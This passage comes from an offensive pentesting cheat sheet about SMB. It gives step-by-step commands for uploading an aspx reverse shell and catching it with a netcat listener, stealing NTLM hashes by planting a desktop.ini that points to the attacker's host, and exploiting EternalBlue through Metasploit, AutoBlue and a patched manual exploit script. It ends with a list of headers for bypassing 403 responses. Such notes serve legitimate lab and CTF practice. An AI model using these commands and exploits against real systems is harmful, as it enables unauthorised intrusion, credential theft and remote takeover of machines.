smbget -R smb://<target-ip>/somedir -w WORKGROUP -U username

# as anonymous user
smbget smb://<target-ip>/somedir -U anonymous
password: anonymous

Upload Files

# Upload a file
smb> put example.txt

If the website is associated with the SMB server, we can upload reverse shell script such as aspx, php and get a shell.
To create a payload, please refer to the Web Reverse Shell or the Reverse Shell with Metasploit.

Then upload it to the SMB server as below.

smb> put shell.aspx

Don’t forget to start a listener for getting outcoming connection.

nc -lvnp 4444

Now access to https://example.com/path/to/smb/share/shell.aspx.
We can get a shell.

Steal NTLM Hash with Desktop.ini

Reference: https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds#desktop.ini

We can retrieve the hashes by putting desktop.ini file, that contains arbitrary icon resource path, to the shared folder.
Create a new desktop.ini in local machine.

[.ShellClassInfo]
IconResource=\\<local-ip>\test

Then upload it to the writable shared folder.

smb> put desktop.ini

Start responder in local machine.

responder -I tun0

After a while, we can retrieve the NTLM hashes.


EternalBlue (MS17-010)

msfconsole
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> set rhosts <target-ip>
msf> set lhost <local-ip>
msf> run
# If you cannot get a shell with the default payloed (windows/x64/meterpreter/reverse_tcp), try to change the payload
msf> set payload payload/generic/shell_reverse_tcp

AutoBlue

AutoBlue is an automatic exploit.
Download the repository and run the following example command.

python zzz_exploit.py -target-ip <target-ip> -port 445 'username:password@target'

Manual Exploiting

You need to have two files - exploit.py, mysmb.py

  1. Download mysmb.py
    wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py -O mysmb.py 

    # Convert DOS to UNIX
    dos2unix mysmb.py
  1. Edit Some Lines of mysmb.py for Python3

    You need to edit some code because this exploit is old so only supports Python2.

    Line.69
    # transData = b''
    transData = ''

    Line.73
    # transData = ('\x00' * padLen) + str(parameters)
    transData = "".join(map(chr,(b'\x00' * padLen))) + str(parameters)

    Line.80
    # transData += ('\x00' * padLen) + data
    transData += "".join(map(chr,(b'\x00' * padLen))) + str(data)

    Line.231
    # req = str(pkt)
    req = pkt.getData()
    return b'\x00'*2 + pack('>H', len(req)) + req  # assume length is <6553

    Line.381
    # data += resp['Data'][1:]
    data += resp['Data'][1:].decode()
  1. Download exploit.py
    wget -O exploit.py https://www.exploit-db.com/exploits/42315

    # Convert DOS to UNIX
    dos2unix exploit.py
  1. Edit the Credentials in exploit.py
    ...
    username = "username"
    password = "password"
    ...
  1. Run the script
    python exploit.py <target-ip> netlogon
    python exploit.py <target-ip> lsarpc
    python exploit.py <target-ip> samr


Launch SMB Server

impacket-smbserver share . -smb2support -username user -password pass

Access from Remote Machine

net use \\<local-ip>\share /u:user pass

Transfer Files

# Remote to Local
cp .\example.txt \\<local-ip>\share\example.txt

403 bypass:

Client-IP:
Connection:
Contact:
Forwarded:
From:
Host:
Origin:
Referer:
True-Client-IP:
X-Client-IP:
X-Custom-IP-Authorization:
X-Forward-For:
X-Forwarded-For:
X-Forwarded-Host:
X-Forwarded-Server:
X-Host:
X-Original-URL:
X-Originating-IP:
X-Real-IP:
X-Remote-Addr:
X-Remote-IP:
X-Rewrite-URL:
X-Wap-Profile:
X-Forwarder-Server:
X-Forwarder-Host:
X-Forwarded-proto headers: